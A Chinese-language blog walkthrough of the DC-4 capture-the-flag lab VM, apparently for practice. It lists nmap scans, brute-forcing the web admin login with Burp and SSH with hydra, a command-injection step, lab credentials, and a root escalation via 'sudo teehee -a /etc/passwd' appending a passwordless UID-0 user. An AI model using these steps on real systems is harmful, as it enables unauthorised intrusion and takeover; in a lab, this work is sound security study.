本文已参与「新人创作礼」活动，一起开启掘金创作之路。
搭建靶场环境
链接：pan.baidu.com/s/1L-fHw8bN…
提取码：8r7m
启动DC-4
获取其IP地址
nmap -sP 192.168.1.2/24
nmap -A 192.168.1.167 -p 1-65535 -oN nmap.A
访问其80端口
尝试使用bp 进行密码爆破
我们猜测其用户名很可能是admin,对admin用户密码进行爆破
添加密码字典
设置线程500
爆破成功，得到其密码happy
登录网站
使用[admin/happy]登录成功
我们发现可以执行一些系统命令
通过抓包，观察
存在命令注入漏洞
查看passwd 文件
依次查看各用户的家目录，在jim用户的家目录下发现旧的密码备份文件
将这些密码复制到kali 创建密码字典
vim old_passwd.bak
创建用户名字典
vim user.dic
charles
jim
sam
对ssh 进行爆破
hydra -L user.dic -P old_passwd.bak ssh://192.168.1.167 -vV -o hydra.ssh
得到账密[jim/jibril04]
尝试使用ssh 登录
ssh jim@192.168.1.167
成功连接
cd /var/mail
cat jim
尝试使用[charles/^xHhA&hvim0y]登录
查看可以不需要密码就可以使用root权限执行的命令
sudo -l
teehee -help
查看帮助信息，这条命令可以在文件的最后追加命令
在psaawd 文件末尾追加
sudo teehee -a /etc/passwd
GGG::0:0:::/bin/bash
提权成功，拿到flag
